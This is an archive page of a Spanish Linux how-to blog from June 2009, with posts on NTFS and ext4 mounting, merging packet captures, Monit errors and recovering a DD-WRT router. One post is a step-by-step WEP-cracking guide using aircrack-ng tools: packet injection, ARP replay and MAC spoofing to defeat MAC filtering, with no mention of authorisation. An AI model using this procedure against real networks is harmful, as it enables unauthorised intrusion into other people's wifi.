Archive for junio 2009

h1

Error «Caracter multibyte amplio inválido ó incompleto»

30/06/2009

Si al hacer una operación de escritura en una partición NTFS se produce el siguiente error:

cp: no se puede efectuar `stat' sobre «//mnt/dvd/Monta\361a.avi»: Caracter multibyte amplio inválido ó incompleto

Se soluciona montando la unidad especificando unas locales compatibles con los caracteres conflictivos:

# sudo mount -t ntfs /dev/sdb1 /mnt/ -o locale=es_ES.utf8

h1

Como obtener contraseñas de redes inalámbricas protegidas con WEP

27/06/2009

Mediante una distribución como Wifislax y una tarjeta wifi como la Alfa Networks AWUS036H (con soporte para la inyección de paquetes), se puede obtener facilmente la contraseña de la mayoría de redes wifi. Para ello, se realiza un ataque en el que se constantemente se intenta autenticar contra el AP, de modo que en cada reto enviado se obtiene información de la clave. Cuando se dispone de suficiente información, se procede a analizarla para probar una clave que encaje con todos los paquetes capturados. Para ello es necesario seguir los siguientes pasos como usuario root:

0º) Si se utiliza Wifislax en arranque USB [ con un Asus EEE ] y [ con una tarjeta Alfa Networks AWUS036H ] es necesario añadir en las opciones de arranque (fase elección de kernel) el parámetro «nohotplug«.

1º) Arrancar el sistema e instalar la tarjeta:
# rmmod rtl8187
# modprobe r8187
# iwconfig wlan0 mode Monitor

Siendo este último paso opcional, ya que airodump-ng lo hará automaticamente en el siguiente paso.

2º) Escanear el espectro wifi en búsqueda de la red a descifrar.
# airodump-ng wlan0

Es conveniente elegir una red con un valor alto de «PWR» (Power, cobertura) para facilitar la transmisión de paquetes o con alto nivel de «beacons», así como el tipo de cifrado WEP (columna ENC).

3º) Iniciar la grabación, ejecutando airodump-ng y pasándole los parámetros obtenidos en el anterior paso:
# airodump-ng -c CANAL -w FICHERO_CAPTURA --bssid MAC_DEL_AP wlan0

Y se deja esta terminal activa grabando tráfico.

4º) Vincular la estación al AP:
# aireplay-ng -1 0 -a MAC_DEL_AP -h MAC_PROPIA_SI_SE_HA_CAMBIADO -e ESSID wlan0
No source MAC (-h) specified. Using the device MAC (00:C0:CA:00:11:22)
22:47:17 Waiting for beacon frame (BSSID: 00:12:3A:00:00:00) on channel 12
22:47:18 Sending Authentication Request (Open System)
22:47:18 Authentication successful
22:47:18 Sending Association Request [ACK]
22:47:18 Association successful :-) (AID: 1)

5º) Realizar el ataque de repetición de vectores de inicialización:
# aireplay-ng -3 -b MAC_DEL_AP -h MAC_PROPIA_SI_SE_HA_CAMBIADO wlan0
No source MAC (-h) specified. Using the device MAC (00:C0:CA:00:11:22)
22:47:46 Waiting for beacon frame (BSSID: 00:12:3A:00:00:00) on channel 12
Saving ARP requests in replay_arp-0627-224746.cap
You should also start airodump-ng to capture replies.
Read 3 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
(...)
Read 55092 packets (got 2 ARP requests and 2 ACKs), sent 4 packets...(546 pps)
(...)
Read 322692 packets (got 91802 ARP requests and 171137 ACKs), sent 159710 packets...(500 pps)

Es un proceso que durará varios minutos, dejar el terminal abierto y pasar al siguiente punto

6º) Volver a la terminal del punto 3º y observar el campo «data»: a los 10 ó 15 minutos se debe notar un incremento rápido y continuo del valor. Así mismo, si es posible acercarse al AP de modo que mejore la cobertura, se ganará tiempo. Cuando se tenga en el campo data «50.000» o más paquetes, se puede parar el proceso.

7º) Ejecutar aircrack:
# aircrack-ng -s FICHERO_CAPTURA.cap

Notas:
– Es conveniente utilizar las últimas versiones de las aplicaciones propuestas, especialmente en el caso de aircrack-ng donde el tiempo de cálculo para descifrar una clave mejora notablemente.
– Si se desea, se puede cambiar temporalmente la MAC de la tarjeta de red propia antes de comenzar toda la auditoría con el siguiente comando:
# macchanger --mac 00:11:22:33:44:55 wlan0
– Algunos APs tienen filtrado por MAC, lo cual hace más difícil este tipo de ataque. Conviene cambiar la MAC propia por la de una estación vinculada a él, si existe (visible mediante airodump-ng en la parte inferior si hay estaciones vinculadas).
– El paso 6º y 7º se pueden solapar para ganar tiempo. Tan solo es necesario hacer una copia del archivo de captura y ejecutar sobre ella aircrack-ng. Si no se obtienen resultados, en el tiempo en el que se ha realizado el cómputo el fichero origen de captura se habrá incrementado, con lo cual se tendrán más posibilidades:
# cp captura.cap temp.cap
# aircrack-ng temp.cap

No es conveniente ejecutar aircrack-ng sobre el fichero de captura directamente si éste todavía se está modificando.

h1

Como juntar varios capturas de tráfico en un fichero

26/06/2009

Para juntar varias capturas de tráfico, proceso habitualmente util en las capturas tomadas con airodump-ng, aunque también es aplicable a wireshark / ethereal, ó tcpdump por ejemplo), en GNU/Linux se puede utilizar la utilidad «mergecap«:

# mergecap -w salida.cap fichero1.cap fichero2.cap fichero3.cap
ó
# mergecap -w resultado/salida2.cap *.cap

Es una utilidad incluida en el paquete de Wireshark.

h1

Como formatear una partición en NTFS desde Linux

18/06/2009

A veces esnecesario formatear una partición en FAT32 o NTFS desde Linux (HD multimedia, dispositivos móviles que solo soportan FAT32, etc). En el caso de NTFS, es tal sencillo como descargar la utilidad mkfs.ntfs y utilizarla con la misma normalidad que mkfs.ext:

Descarga e instalación:
carlos@WhenIGrowUp:/$ sudo apt-get install ntfsprogs
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias
Leyendo la información de estado... Hecho
Se instalarán los siguientes paquetes extras:
libntfs10
Se instalarán los siguientes paquetes NUEVOS:
libntfs10 ntfsprogs
0 actualizados, 2 se instalarán, 0 para eliminar y 0 no actualizados.
Necesito descargar 383kB de archivos.
Se utilizarán 942kB de espacio de disco adicional después de desempaquetar.
¿Desea continuar [S/n]?
Des:1 http://archive.ubuntu.com hardy/main libntfs10 2.0.0-1ubuntu2 [114kB]
Des:2 http://archive.ubuntu.com hardy/main ntfsprogs 2.0.0-1ubuntu2 [268kB]
Descargados 383kB en 1s (335kB/s)
Seleccionando el paquete libntfs10 previamente no seleccionado.
(Leyendo la base de datos ...
145091 ficheros y directorios instalados actualmente.)
Desempaquetando libntfs10 (de .../libntfs10_2.0.0-1ubuntu2_amd64.deb) ...
Seleccionando el paquete ntfsprogs previamente no seleccionado.
Desempaquetando ntfsprogs (de .../ntfsprogs_2.0.0-1ubuntu2_amd64.deb) ...
Configurando libntfs10 (2.0.0-1ubuntu2) ...
Configurando ntfsprogs (2.0.0-1ubuntu2) ...
Processing triggers for libc6 ...
ldconfig deferred processing now taking place

Formateo:
carlos@WhenIGrowUp:~# mkfs.ntfs /dev/sdb1
Cluster size has been automatically set to 4096 bytes.
100% - Done.
Creating NTFS volume structures.
mkntfs completed successfully. Have a nice day.

y listo, ya se puede utilizar:
carlos@WhenIGrowUp:~# mount /dev/sdb1 /mnt/

Recordar que si se desea su montaje automático en el arranque del sistema hay que incluirlo en el fichero /etc/fstab .

h1

Error «mount: tipo de sistema de ficheros ‘ext4’ desconocido»

17/06/2009

Durante la progresiva desaparición de ReiserFS, consolidándose ext3 como sistema de ficheros en GNU/Linux 10 años después de su publicación se ha incluido como oficial el soporte de ext4 en el Kernel, con muchas mejoras y aumento de rendimiento (algunos equipos ya arrancan en 10″).

Tras formatear una partición con fsck.ext4, si al montarla ocurre el siguiente error:

carlos@shirley:~$ sudo mount -t ext4 /dev/sdc1 /mnt/
mount: tipo de sistema de ficheros 'ext4' desconocido
mount: unknown filesystem type 'ext4'

Es necesario utilizar un kernel 2.6.28 o superior. Para ver la versión que se está utilizando en ese momento:

carlos@shirley:~$ uname -a

y para instalar un kernel con soporte para ext4:

root@shirley:~# apt-cache search 2.6.28
root@shirley:~# apt-get install linux-image-2.6.28-11-generic

Tras esto, verificar que en el siguiente arranque se va a utilizar ese kernel. Para ello, si se utiliza Grub como gestor de arranque, comprobar o adaptar su fichero de configuración para que lo utilice:

carlos@WhenIGrowUp:/$ sudo /boot/grub/menu.lst
[...]
default 0
[...]
## ## End Default Options ##
title Ubuntu 8.10, kernel 2.6.28-11-generic
root (hd1,0)
kernel /boot/vmlinuz-2.6.28-11-generic root=UUID=bc4f22438-f175-2f7b-aebf-123456789 ro quiet splash reboot=b pci=noacpi
initrd /boot/initrd.img-2.6.28-11-generic
[...]

Guardar y reiniciar.

Nota I: si se pone la partición «/» en ext4, debe cambiarse el gestor de arranque a uno que soporte ext4. Grub por ej. no lo soporta, es necesario actualizarlo a Grub2.
Nota II: se se desea migrar una partición existente, se puede seguir el siguiente work around.

h1

Error Monit «Alert handler failed, retry scheduled for next cycle»

06/06/2009

Este error en Monit (utilidad software libre para la monitorización de sistemas, , no confundirla con su hermana comercial Mmonit) :

Alert handler failed, retry scheduled for next cycle

a la hora de enviar una alerta por correo electrónico se puede encontrar en /var/log/monit.log

Según la documentación oficial de Monit se puede deber a una incorrecta configuración de la cuenta de correo en el fichero /etc/monit/monitrc.
Generalmente la línea de tipo de autenticación suele ser la principal causa si ésta no es adecuada, luego con comentarla se soluciona la mayoría de los problemas (o ajustarla si se conocen los parámetros correctos del servidor).

#using TLSV1

h1

Como resetear el password de DD-WRT

06/06/2009

Se puede dar un problema con este firmware en el que el password no es recordado y por tanto no se tenga acceso al interfaz web o telnet de gestión.
Los routers o puntos de acceso compatibles con DD-WRT suelen tener una zona de memoria para el firmware y otra más pequeña (nvram) para almacenar las variables o datos de uso habitual. En ésta se almacena el password.

Para borrarla, antes de dar por perdido el aparato, y recuperar su funcionalidad (debrick) hay varios métodos, listados de menos a más agresivos:

Reseteo 30/30/30: Consiste en tener arrancando el aparato, presionar el botón de reset de la parte posterior con un bolígrafo o similar durante 30 segundos, sin soltarlo desenchufar la corriente, esperar otros 30 segundos y sin soltarlo igualmente enchufarla de nuevo, esperando otros 30 segundos. Este método resetea la configuración, por lo que es necesario configurarlo desde cero nuevamente (en caso de ser un router, es aconsejable entonces tener a mano los datos de la conexión adsl antes de hacerlo). Entrar en http://192.168.1.1 . Si pide alguna contraseña, y el reseteo ha funcionado correctamente, utilizar como usuario «root» y password «admin«.

Reseteo 90/90/90: igual que método 30/30/30 pero aplicando 90 segundos para cada intervalo.

tftp DD-WRT: cargar de nuevo el firmware de DD-WRT, de cara a eliminar cualquier inconsistencia o fallo en el SO. Para ello se puede hacer sencillamente por tftp:

1.- Realizar un hard reset del router (reset 30/30/30).
2.- Reiniciarlo desenchufándole la corriente unos segundos.
3.- Establecer tu equipo con una IP del mismo rango que tiene ahora el DD-WRT (ej: 192.168.1.100, máscara 255.255.255.0, los demás valores no son necesarios especificarlos).
4.- Abrir una consola y mantener un ping al router/punto de acceso:
#ping 192.168.1.1
en Linux el ping es contínuo, no se interrumpe, en otros sistemas operativos suele ser necesario incorporar el parámetro -t

5.- Preparar en otra consola el siguiente comando pero NO ejecutarlo:
atftp --option "mode octet" --verbose -p -l dd-wrt.v24-11296_NEWD_micro.bin 192.168.1.1
donde evidentemente dd-wrt.v24-11296_NEWD_micro.bin es el fichero descargado de dd-wrt.com correspondiente, en este caso, al Linksys WAP54G.

6.- En este paso se flasheará el router. Para ello es necesario reiniciar el router desconectándolo de la corriente. En la ventana que está abierta con el ping se verá una secuencia similar a ésta:

From 192.168.7.19 icmp_seq=171 Destination Host Unreachable
From 192.168.7.19 icmp_seq=172 Destination Host Unreachable
From 192.168.7.19 icmp_seq=175 Destination Host Unreachable

64 bytes from 192.168.7.5: icmp_seq=177 ttl=100 time=1012 ms
64 bytes from 192.168.7.5: icmp_seq=179 ttl=100 time=1.71 ms
64 bytes from 192.168.7.5: icmp_seq=180 ttl=100 time=2.23 ms

64 bytes from 192.168.7.5: icmp_seq=193 ttl=64 time=1.29 ms
64 bytes from 192.168.7.5: icmp_seq=194 ttl=64 time=0.951 ms
64 bytes from 192.168.7.5: icmp_seq=195 ttl=64 time=0.811 ms

Las 3 primeras líneas son resultado de enviar ping al router estando éste apagado o reiniciándose. Las 3 siguientes, que llevan el TTL=100 son resultado de arrancar el router en modo debug, aceptando por tanto cualquier actualización de firmware. Las 3 últimas (TTL=64) ya indican que ese modo ya ha sido deshabilitado y por tanto comienza el arranque normal. Por tanto el objetivo es ejecutar la orden tftp cuando el punto de acceso esté respondiendo pings con TTL=100.

Para ello, reiniciarlo de nuevo y en cuanto se obtegan el primer echo de ping con TTL=100, ejecutar el comando dado de tftp. Éste indicará que el fichero se ha subido correctamente. El router estará grabando el nuevo firmware, por lo que es necesario esperar 5 minutos o hasta que devuelva ping con TTL=64.

6.- Reiniciar el router desenchufándole la corriente.

7.- Cuando la ventana de ping reciba respuesta, entrar en http://192.168.1.1 con el navegador y configurar normalmente el WAP54G.

tftp OpenWRT: una opción más para intentar machacar el fichero de nvram es instalar una versión distinta de firmware que ocupe igual o más. Por ejemplo OpenWRT o un firmware compatible con el router concreto. El procedimiento es el descrito anteriormente. Después se instala de nuevo DD-WRT y se puede probar si el password ya está reseteado, ya que suelen compartir las mismas variables en la nvram.

– OpenWRT + erase nvram por web
: Si el método anterior no funciona, en el apartado de la web de configuración de OpenWRT «actualización de firmware» existe la opción de actualizarlo (con otro OpenWRT o con otro firmware, DD-WRT por ejemplo) marcando la opción «erase nvram por web», lo cual de realizarse con éxito solucionará el problema.

OpenWRT + erase nvram por telnet: Con OpenWRT instalado y configurado el password a través de la web de administración, se entrará por Telnet (telnet 192.168.1.1 23) y se ejecutará:

#nvram set http_passwd = "admin"
#nvram commit

reiniciar y probar instalando DD-WRT. Si no, volver a la versión de OpenWRT, que es la que permite el acceso sin problema de password por telnet a la nvram, y borrarla:

#nvram erase
#vnram commit

Reiniciar y reinstalar DD-WRT por web o tftp.

tftp firmware Linksys: Un método definitivo y 100% eficaz es la reinstalación del firmware de fábrica (descargable a través de la web de la marca del router) por tftp, reseteo posterior, entrar en la interfaz web (http://192.168.1.245, 255.255.255.0, usuario en blanco y password «admin» en caso del Linksys WAP54G) y desde allí ejecutar un «Reset defaults settings». Tras ello se puede instalar DD-WRT desde la misma web de administración.

cable JTAG: Como última opción cabe decir el montaje de un cable de conexión que resetee fisicamente la memoria del router. Se puede encontrar más información aquí: http://www.dd-wrt.com/wiki/index.php/Recover_from_a_Bad_Flash#Recovery_by_JTAG_cable

Fuentes principales:
http://airfart.blogspot.com/2008/04/how-to-revive-bricked-wap54g-ver31.html
http://www.dd-wrt.com/wiki/index.php/Recover_from_a_Bad_Flash
http://www.dd-wrt.com/wiki/index.php/Espanol

Ejecute estas instrucciones bajo su propia responsabilidad.